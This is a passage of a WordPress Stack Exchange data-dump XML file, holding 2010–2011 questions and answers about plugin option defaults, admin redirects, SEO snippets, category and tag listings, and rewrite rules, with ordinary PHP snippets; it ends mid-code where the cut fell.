  <row Id="26099" PostTypeId="2" ParentId="26087" CreationDate="2011-08-17T00:57:17.677" Score="3" ViewCount="" Body="&lt;p&gt;You should do defaults at the time of pulling the data out. Never insert default values into the database. Defaults are default. Options in the DB override defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do defaults for a serialized options array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$defaults = array(&#xA;  'default1' =&amp;gt; '1',&#xA;  'default2' =&amp;gt; '2',&#xA;);&#xA;$options = wp_parse_args(get_option('plugin_options'), $defaults);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-17T00:57:17.677" CommentCount="3" />
  <row Id="26100" PostTypeId="1" AcceptedAnswerId="26101" CreationDate="2011-08-17T01:41:26.297" Score="2" ViewCount="36" Body="&lt;p&gt;I'm trying to keep all non-administrators out of the Wordpress admin panel by using a wp_redirect inside of an is_admin conditional. The problem is that a side effect of this if that non-admins can no longer use the file &quot;admin-ajax.php&quot; for ajax calls in Wordpress. It appears that &lt;a href=&quot;http://wordpress.org/support/topic/dont-redirect-admin-ajax?replies=4#post-2286531&quot; rel=&quot;nofollow&quot;&gt;a few people on the Wordpress forums&lt;/a&gt; are having the exact same problem lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone have a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-17T02:12:02.223" Title="redirect out of wp-admin, without losing admin-ajax.php" Tags="&lt;ajax&gt;&lt;wp-redirect&gt;" AnswerCount="1" />
  <row Id="26101" PostTypeId="2" ParentId="26100" CreationDate="2011-08-17T02:12:02.223" Score="3" ViewCount="" Body="&lt;p&gt;Check the &lt;code&gt;DOING_AJAX&lt;/code&gt; constant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_init(){&#xA;    if( !defined('DOING_AJAX') &amp;amp;&amp;amp; !current_user_can('administrator') ){&#xA;        wp_redirect( home_url() );&#xA;        exit();&#xA;    }&#xA;}&#xA;add_action('admin_init','my_admin_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-17T02:12:02.223" CommentCount="1" />
  <row Id="26102" PostTypeId="1" AcceptedAnswerId="26529" CreationDate="2011-08-17T03:44:52.207" Score="1" ViewCount="38" Body="&lt;p&gt;Are there any developers that offer themes that have a defined list of browsers tested, on desktop and mobile devices, that are also periodically updated to account for new browser versions?&lt;/p&gt;&#xA;" OwnerUserId="2907" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-08-17T07:53:13.953" LastActivityDate="2011-08-22T04:46:03.250" Title="Wordpress themes that are browser tested and maintained?" Tags="&lt;themes&gt;&lt;testing&gt;&lt;quality-control&gt;&lt;browser-compatibility&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="26103" PostTypeId="1" CreationDate="2010-12-06T07:33:21.827" Score="0" ViewCount="16" Body="&lt;p&gt;I want to customize the text that appears on the SERP for the posts on my WordPress blog. I want to be able to either provide some custom text or modify the fields that appear on the SERP page, for example, remove Date and shorten the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Plugin available to do that?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-17T04:23:14.087" Title="Customizing SERP content for WordPress Blog" Tags="&lt;seo&gt;&lt;blog&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="26104" PostTypeId="2" ParentId="26103" CreationDate="2010-12-06T09:08:07.497" Score="0" ViewCount="" Body="&lt;p&gt;Try Yoast's &lt;a href=&quot;http://yoast.com/wordpress/seo/&quot; rel=&quot;nofollow&quot;&gt;Wordpress SEO&lt;/a&gt; plugin. One of the best out there, it lets you pick default titles and descriptions for posts/pages/categories/etc. but also per individual post. It also has a whole lot of other useful SEO options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently in development still, most of the features already work very fine but you can expect it to be updated a couple of times still. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could try &lt;a href=&quot;http://wordpress.org/extend/plugins/headspace2/&quot; rel=&quot;nofollow&quot;&gt;Headspace&lt;/a&gt; which I used to use before Yoast's plugin was released. Sort of does the same trick but doesn't incorporate the other features Yoast has.&lt;/p&gt;&#xA;" OwnerUserId="1620" LastActivityDate="2010-12-06T09:22:32.003" />
  <row Id="26105" PostTypeId="2" ParentId="26103" CreationDate="2010-12-06T15:10:36.860" Score="1" ViewCount="" Body="&lt;p&gt;Let me start off by saying you can't edit or control what Google displays in its SERPs. They control the format as well as what gets displayed and will determine when they should or should not display a listing a certain way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that you can do your best to influence what they display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) AFAIK you can't have the date removed from the SERPs. Google shows that to show how fresh the content is. If you want the date to be more current then keep the content up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) To affect the description Google shows in their SERPs you can do the following (&lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;amp;answer=35264&quot; rel=&quot;nofollow&quot;&gt;quoting Google&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;HTML suggestions&lt;/strong&gt; page in Webmaster&#xA;  Tools lists pages where Google has&#xA;  detected missing or problematic meta&#xA;  descriptions. (To see this page, click&#xA;  Diagnostics in the left-hand menu of&#xA;  the site Dashboard. Then click HTML&#xA;  suggestions.) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Differentiate the&#xA;  descriptions for different pages&lt;/strong&gt;.&#xA;  Using identical or similar&#xA;  descriptions on every page of a site&#xA;  isn't very helpful when individual&#xA;  pages appear in the web results. In&#xA;  these cases we're less likely to&#xA;  display the boilerplate text. Wherever&#xA;  possible, create descriptions that&#xA;  accurately describe the specific page.&#xA;  Use site-level descriptions on the&#xA;  main home page or other aggregation&#xA;  pages, and use page-level descriptions&#xA;  everywhere else. If you don't have&#xA;  time to create a description for every&#xA;  single page, try to prioritize your&#xA;  content: At the very least, create a&#xA;  description for the critical URLs like&#xA;  your home page and popular pages.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Include clearly tagged facts in the&#xA;  description. The meta description&#xA;  doesn't just have to be in sentence&#xA;  format; it's also a great place to&#xA;  include structured data about the&#xA;  page. For example, news or blog&#xA;  postings can list the author, date of&#xA;  publication, or byline information.&#xA;  This can give potential visitors very&#xA;  relevant information that might not be&#xA;  displayed in the snippet otherwise.&#xA;  Similarly, product pages might have&#xA;  the key bits of information - price,&#xA;  age, manufacturer - scattered&#xA;  throughout a page. A good meta&#xA;  description can bring all this data&#xA;  together. For example, the following&#xA;  meta description provides detailed&#xA;  information about a book. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;Description&quot; content=&quot;Author: A.N. Author, &#xA;Illustrator: P. Picture, Category: Books, Price: $17.99, &#xA;Length: 784 pages&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;In this example,&#xA;  information is clearly tagged and&#xA;  separated.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Programmatically generate&#xA;  descriptions&lt;/strong&gt;. For some sites, like&#xA;  news media sources, generating an&#xA;  accurate and unique description for&#xA;  each page is easy: since each article&#xA;  is hand-written, it takes minimal&#xA;  effort to also add a one-sentence&#xA;  description. For larger&#xA;  database-driven sites, like product&#xA;  aggregators, hand-written descriptions&#xA;  can be impossible. In the latter case,&#xA;  however, programmatic generation of&#xA;  the descriptions can be appropriate&#xA;  and are encouraged. Good descriptions&#xA;  are human-readable and diverse, as we&#xA;  talked about in the first point above.&#xA;  The page-specific data we mentioned in&#xA;  the second point is a good candidate&#xA;  for programmatic generation. Keep in&#xA;  mind that meta descriptions comprised&#xA;  of long strings of keywords don't give&#xA;  users a clear idea of the page's&#xA;  content, and are less likely to be&#xA;  displayed in place of a regular&#xA;  snippet. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Use quality descriptions&lt;/strong&gt;.&#xA;  Finally, make sure your descriptions&#xA;  are truly descriptive. Because the&#xA;  meta descriptions aren't displayed in&#xA;  the pages the user sees, it's easy to&#xA;  let this content slide. But&#xA;  high-quality descriptions can be&#xA;  displayed in Google's search results,&#xA;  and can go a long way to improving the&#xA;  quality and quantity of your search&#xA;  traffic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3) If your pages contain certain content (reviews, people, businesses, events) you can use &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;amp;answer=99170&quot; rel=&quot;nofollow&quot;&gt;rich snippets&lt;/a&gt; to enhance the appearance of the descriptions in the SERPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) If you want Google to show &lt;a href=&quot;http://googleblog.blogspot.com/2009/11/new-site-hierarchies-display-in-search.html&quot; rel=&quot;nofollow&quot;&gt;breadcrumbs&lt;/a&gt; for your pages use &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?&amp;amp;answer=185417&quot; rel=&quot;nofollow&quot;&gt;microdata&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8037" LastActivityDate="2010-12-06T15:10:36.860" CommentCount="1" />
  <row Id="26106" PostTypeId="2" ParentId="26103" CreationDate="2011-08-16T19:46:50.183" Score="0" ViewCount="" Body="&lt;p&gt;From my not so vast experience, the fastes way of checking the indexed pages and backlinks for an website is by this free tool at &lt;a href=&quot;http://domof.com&quot; rel=&quot;nofollow&quot;&gt;http://domof.com&lt;/a&gt; which also returns a seo analisys report downloadable as pdf.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-16T19:46:50.183" />
  <row Id="26107" PostTypeId="2" ParentId="26086" CreationDate="2011-08-17T04:28:43.883" Score="2" ViewCount="" Body="&lt;p&gt;So you want to list the categories in a tree structure, in alphabetical order, showing ALL categories (even empty ones)? If so, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $args = array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC', 'hide_empty' =&amp;gt; false);&#xA;    $categories = wp_list_categories($args);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-17T04:28:43.883" />
  <row Id="26108" PostTypeId="2" ParentId="25959" CreationDate="2011-08-17T04:34:45.700" Score="0" ViewCount="" Body="&lt;p&gt;Under &quot;Settings &gt; General&quot; - check the box that says &quot;Anyone can register.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, the registration page is publicly available at &lt;a href=&quot;http://www.example.com/wp-login.php?action=register&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/wp-login.php?action=register&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;http://wordpress.stackexchange.com/users/4771/milo&quot;&gt;Milo&lt;/a&gt; suggested, after enabling registration, the &lt;a href=&quot;http://wordpress.org/extend/plugins/new-user-approve/&quot; rel=&quot;nofollow&quot;&gt;New User Approve&lt;/a&gt; plugin may be useful for you.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-17T04:34:45.700" />
  <row Id="26109" PostTypeId="1" CreationDate="2011-08-17T04:46:42.887" Score="0" ViewCount="10" Body="&lt;p&gt;I'm building a new section of my website and this section has one parent page and many children.  I've built the parent page but it is still not published as I don't want to publish it before its children are ready.  But when I go to build a child page, I am unable to select the draft parent as its parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an unresolved bug/feature report on this in Wordpress trac.  There's a wordpress.stackexchange thread on this (http://wordpress.stackexchange.com/questions/3346/how-can-i-set-a-draft-page-as-parent-without-publishing), but that solution won't work for me as the page would still go out on the RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded a stealth publish plugin hoping I could publish (without sending to the RSS feed), use it as parent, then when I'm done unclick the stealth and update, but it doesn't go out to the feed then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions to this?  It seems like an oversight, but it's been talked about for a couple years on trac.&lt;/p&gt;&#xA;" OwnerUserId="7958" LastActivityDate="2011-08-17T04:46:42.887" Title="Any Way to Select Draft Page as Parent?" Tags="&lt;draft&gt;" />
  <row Id="26110" PostTypeId="1" AcceptedAnswerId="26114" CreationDate="2011-08-17T04:57:39.577" Score="5" ViewCount="70" Body="&lt;p&gt;For many of the sites I do for clients, the designers will make pages with small pieces of text in various places.  For example, the home page will have a headline, a tagline, and a small box with contact information.  The about us page will have a main body of text, but then also a side box with a past client quote in it.  The contact us page will have a short blurb before the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client wants the ability to edit all of these pieces of text later on.  Are pieces such as these what widgets are supposed to be used for?  If so, how would I allow the client to update the text later on?  It seems messy to make a separate widget area for every static page, and it doesn't seem like this would allow the client to later edit the text very easily.  Would concepts like custom post types, metaboxes, or shortcodes be useful here?  I've tried many different methods but I'm not satisfied with any of them so far.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2011-08-24T03:42:53.180" Title="What methods to use to create small, editable pieces of text for static pages?" Tags="&lt;page&gt;&lt;content&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="26111" PostTypeId="2" ParentId="25635" CreationDate="2011-08-17T05:21:14.297" Score="0" ViewCount="" Body="&lt;p&gt;Try this &lt;a href=&quot;http://wordpress.org/support/topic/plugin-user-photo-front-end-upload&quot; rel=&quot;nofollow&quot;&gt;solution&lt;/a&gt; &quot;Fask&quot; did using user-photo plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down and look for Fask's post.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-08-17T05:21:14.297" />
  <row Id="26112" PostTypeId="1" AcceptedAnswerId="26113" CreationDate="2011-08-17T05:32:35.693" Score="0" ViewCount="28" Body="&lt;p&gt;Hi i need to show random 3 tags for a post. all my posts have been tagged with more than 10 tags, i need to display any 3 tags randomly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample post&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/tag1&quot;&amp;gt;Tag1&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tag2&quot;&amp;gt;Tag2&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tag3&quot;&amp;gt;Tag3&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am currently using &lt;code&gt;&amp;lt;?PHP the_tags()?&amp;gt;&lt;/code&gt; to generate all tags how to restrict it to 3 randomly generated tags. &lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2011-08-17T05:42:37.303" Title="how to limit and display tag?" Tags="&lt;posts&gt;&lt;tags&gt;&lt;array&gt;&lt;template-tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26113" PostTypeId="2" ParentId="26112" CreationDate="2011-08-17T05:42:37.303" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $posttags = get_the_tags();&#xA;   $count=0;&#xA;   if ($posttags) {&#xA;       foreach($posttags as $tag) {&#xA;          $count++;&#xA;          echo '&amp;lt;a href=&quot;'.get_tag_link($tag-&amp;gt;term_id).'&quot;&amp;gt;'.$tag-&amp;gt;name.'&amp;lt;/a&amp;gt; ';&#xA;          if( $count &amp;gt;4 ) break;&#xA;       }&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-08-17T05:42:37.303" CommentCount="2" />
  <row Id="26114" PostTypeId="2" ParentId="26110" CreationDate="2011-08-17T05:58:47.273" Score="6" ViewCount="" Body="&lt;p&gt;Typically you  use widgets or custom post types but in reality these solutions can be unfriendly to clients. WordPress still revolves around the idea of a post based loop so doing traditional &quot;content blocks&quot; that you might find in other frameworks can be difficult. Fortunately there are plugins that are pretty good in this area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend checking out the following two:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-content-blocks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multiple-content-blocks/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-blocks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-blocks/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-17T05:58:47.273" CommentCount="1" />
  <row Id="26115" PostTypeId="1" AcceptedAnswerId="26782" CreationDate="2011-08-17T06:03:16.897" Score="2" ViewCount="72" Body="&lt;p&gt;I want to prepend text to the post titles of a specific custom post type, but the filter below didn't work. Instead of changing only that CPT's post titles, it changed &lt;em&gt;all&lt;/em&gt; titles on the given CPT's pages—menus items, posts in secondary loops, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I'm guessing it's something to do with the scope of get_post_type(). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_title', 'add_cpt_prefix' );&#xA;&#xA;function add_cpt_prefix( $title ) {&#xA;    if ( get_post_type() == 'press' ) {&#xA;        $title = '&amp;lt;span&amp;gt;Press:&amp;lt;/span&amp;gt; ' . $title;&#xA;    }&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-17T09:30:33.117" LastActivityDate="2011-08-24T17:52:15.343" Title="How to correctly get post type in a the_title filter" Tags="&lt;custom-post-types&gt;&lt;filters&gt;&lt;title&gt;&lt;actions&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="26116" PostTypeId="2" ParentId="26086" CreationDate="2011-08-17T06:04:33.973" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get only parents&#xA;$args = array('orderby' =&amp;gt; 'name','order' =&amp;gt; 'ASC','parent' =&amp;gt; 0);&#xA;$Parent_categories = get_categories($args);&#xA;&#xA;foreach($Parent_categories as $category) { &#xA;    echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;'.get_category_link( $category-&amp;gt;term_id ).'&quot;&amp;gt;'.$category-&amp;gt;category_nicename.'&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;';&#xA;    //get all children of this category&#xA;    $args = array('orderby' =&amp;gt; 'name','order' =&amp;gt; 'ASC','parent' =&amp;gt; $category-&amp;gt;term_id);&#xA;    $Child_categories = get_categories($args);&#xA;    foreach ($Child_categories as $c){&#xA;        echo '&amp;lt;span class=&quot;cat-child&quot;&amp;gt;&amp;lt;a href=&quot;'.get_category_link( $c-&amp;gt;term_id ).'&quot;&amp;gt;'.$c-&amp;gt;category_nicename.'&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;  ';&#xA;    }&#xA;    echo '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-17T06:04:33.973" />
  <row Id="26118" PostTypeId="2" ParentId="26102" CreationDate="2011-08-17T06:11:03.073" Score="1" ViewCount="" Body="&lt;p&gt;New browser versions not only follow standards more closely but are very well coded for rendering almost anything. There are no real forward compatibility issues when it comes to styling (outside bugs).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern browsers can render garbage code as though it was written by Tim Berners-Lee. If a template works in IE6 and IE7 you can rest assured it will render in any versions above that since the vast majority of problems are related to Microsoft.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have specific needs (mobile, email, accessibility) there are various testing applications for rendering sites.  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-17T06:11:03.073" CommentCount="1" />
  <row Id="26119" PostTypeId="2" ParentId="26115" CreationDate="2011-08-17T06:19:11.847" Score="4" ViewCount="" Body="&lt;p&gt;You can globalize &lt;code&gt;$post&lt;/code&gt; to work out the post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_title', 'add_the_title_prefix' );&#xA;&#xA;function add_the_title_prefix( $title ) &#xA;{&#xA;    global $post;&#xA;    if ( 'custom_post_type_name' != $post-&amp;gt;post_type )&#xA;        return $title;&#xA;&#xA;    return &quot;&amp;lt;span&amp;gt;Press:&amp;lt;/span&amp;gt; {$title}&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-17T09:29:25.723" LastActivityDate="2011-08-17T09:29:25.723" CommentCount="3" />
  <row Id="26120" PostTypeId="2" ParentId="25198" CreationDate="2011-08-17T07:19:12.123" Score="-2" ViewCount="" Body="&lt;p&gt;I had similar problem. I changed option required from link below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/wp-admin/option.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7963" LastActivityDate="2011-08-17T07:19:12.123" />
  <row Id="26121" PostTypeId="2" ParentId="26110" CreationDate="2011-08-17T07:19:12.827" Score="1" ViewCount="" Body="&lt;p&gt;my solution to this problem:&#xA;    edit the template used to display said static page&#xA;    add code to load the content of a specific page or post using the ID&#xA;    create a page/post called something like Static Block for Foo page&#xA;    tell you client to edit that page for the specific block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it this way, because it creates the least torment for the user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need an example of how to accomplish this leave a comment&lt;/p&gt;&#xA;" OwnerUserId="6132" LastActivityDate="2011-08-17T07:19:12.827" CommentCount="1" />
  <row Id="26122" PostTypeId="2" ParentId="26092" CreationDate="2011-08-17T08:02:31.347" Score="2" ViewCount="" Body="&lt;p&gt;The link you've giving is for the function &lt;code&gt;add_rewrite_tag()&lt;/code&gt; not &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite#Methods&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Rewrite::add_rewrite_tag()&lt;/code&gt;&lt;sup&gt;&lt;em&gt;Codex&lt;/em&gt;&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The later documentation is a bit misleading because it links the other global function (which has two arguments) as if it was the same. But the function you're referring to has three arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the codex a bit to make this more clear.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-08-17T08:02:31.347" CommentCount="2" />
  <row Id="26123" PostTypeId="2" ParentId="10418" CreationDate="2011-08-17T08:30:50.970" Score="0" ViewCount="" Body="&lt;p&gt;Make a cross file search for &lt;code&gt;eval&lt;/code&gt;. If you find this one then the author (or someone who ripped it) has something to hide.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-17T08:30:50.970" />
  <row Id="26125" PostTypeId="2" ParentId="26092" CreationDate="2011-08-17T09:40:06.697" Score="1" ViewCount="" Body="&lt;p&gt;To answer the rest of your Q: Search for &quot;Wordpress Virtual Page&quot; in your favorite search engine. Then search for &quot;WPSE Plugin Repository&quot; here on the site and check out Jan Fabrys Rewrite Plugin.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-17T09:40:06.697" CommentCount="2" />
  <row Id="26126" PostTypeId="2" ParentId="25065" CreationDate="2011-08-17T10:13:08.763" Score="0" ViewCount="" Body="&lt;p&gt;The answer to this question was simply that the built-in password protection does not apply if you are using a custom template that doesn't include &lt;code&gt;the_loop()&lt;/code&gt;. Lesson learnt.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-17T10:13:08.763" />
  <row Id="26127" PostTypeId="1" CreationDate="2011-08-17T10:58:48.517" Score="0" ViewCount="17" Body="&lt;p&gt;Here's the scenario:&#xA;I wrote a custom url rule to pass a comment id to a template and display the comment and comment meta as a single page (eg. &lt;a href=&quot;http://mydomain.com/reply/56&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/reply/56&lt;/a&gt;) and it works fine. But now I'm trying to refine this rule to include the comment's post slug in the url. So when I visit 'http://mydomain.com/reply/56' it should map to 'http://mydomain.com/the-post/reply/56'. I'm actually stuck at this point. Here's what I've done till now:&#xA;The rule that works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;add_rewrite_rule('^reply/(.*)?$','index.php?pagename=reply-page&amp;amp;reply_id=$matches[1]','top');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Added a query_var 'reply_id' for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the code I'm trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init', 'test');&#xA;function test()&#xA;{&#xA;    $reply_struct = '/reply/%reply_id%';&#xA;    $wp_rewrite-&amp;gt;add_rewrite_tag('%reply_id%', '([^/]+)', 'reply_id=$matches[1]');&#xA;    $wp_rewrite-&amp;gt;add_permastruct('reply_id', $reply_struct, false);&#xA;}&#xA;&#xA;add_filter('post_type_link', 'reply_permalink', 10, 3)&#xA;function reply_permalink()&#xA;{&#xA;    $rewritecode= array(&#xA;        '%reply_id%'&#xA;    );&#xA;&#xA;    $test = '';&#xA;    if ( strpos($permalink, '%reply_id%') !== false ) &#xA;    {&#xA;        $i = get_query_var('reply_id'); //Trying to get the comment id, this is where I'll get the post slug and append it to the url&#xA;        $test = 'test';&#xA;     }&#xA;&#xA;     $rewritereplace = array(&#xA;       $test&#xA;     );&#xA;     $permalink = str_replace($rewritecode, $rewritereplace, $permalink);&#xA;     return $permalink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think when I access the url 'http://mydomain.com/reply/56', I should get 'http://mydomain.com/test/' or 'http://mydomain.com/reply/test'. But I'm not! I know I'm doing it wrong somewhere, but don't know where. I must say, url rewrite is one topic in WP that always stumps me!&#xA;Please let me know if there is another way to do this!&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-17T10:58:48.517" Title="Pass a comment id through url and append the comment post's slug in the url" Tags="&lt;url-rewriting&gt;" CommentCount="1" />
  <row Id="26128" PostTypeId="1" CreationDate="2011-08-17T11:18:30.110" Score="0" ViewCount="17" Body="&lt;p&gt;I have been trying to upload more plugins and even though the files are all located in content/plugins directory, nothing is showing up in the dash. Does anyone know why this may be. Even the default plugins are not showing. Please help! &lt;/p&gt;&#xA;" OwnerUserId="7810" LastActivityDate="2011-08-17T17:24:31.033" Title="plugins not showing wordpress multisite" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="26129" PostTypeId="1" CreationDate="2011-08-17T08:20:06.900" Score="0" ViewCount="8" Body="&lt;p&gt;I need to add to the file below, to display additional groups of child-categories with custom text. The next step is to display text &quot;Courses in &quot;, then display the names of those courses, which are children of  $current = $cat-&gt;cat_ID;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this new page, I want to display child posts, which I should be able to do myself, but if you have any suggestions, please do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see how I have everything laid out so far in the code below. Please if you are able to, help me out by adding the new code I need, to display these children. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;contentwrapper&quot;&amp;gt;&#xA;&amp;lt;?php if(is_category() || is_single()){&#xA;$cat = get_category_by_path(get_query_var('category_name'),false);&#xA;$current = $cat-&amp;gt;cat_ID;&#xA;$current_name = $cat-&amp;gt;cat_name;&#xA;$cats = explode(&quot;&amp;lt;br /&amp;gt;&quot;,wp_list_categories('depth=1&amp;amp;orderby=name&amp;amp;show_count=0&amp;amp;use_desc_for_title=0&amp;amp;child_of='.$current.'&amp;amp;order=ASC&amp;amp;style=none&amp;amp;title_li=&amp;amp;echo=0&amp;amp;hide_empty=0'));&#xA;$cat_n = count($cats) - 1;&#xA;for ($i=0;$i&amp;lt;$cat_n;$i++):&#xA;if ($i&amp;lt;$cat_n/2):&#xA;$cat_left = $cat_left.'&amp;lt;p&amp;gt;'.$cats[$i].'&amp;lt;/p&amp;gt;';&#xA;elseif ($i&amp;gt;=$cat_n/2):&#xA;$cat_right = $cat_right.'&amp;lt;p&amp;gt;'.$cats[$i].'&amp;lt;/p&amp;gt;';&#xA;endif;&#xA;endfor;&#xA;if ($current == 9) // Begin States List Page - Lists States&#xA;{ ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&amp;lt;div 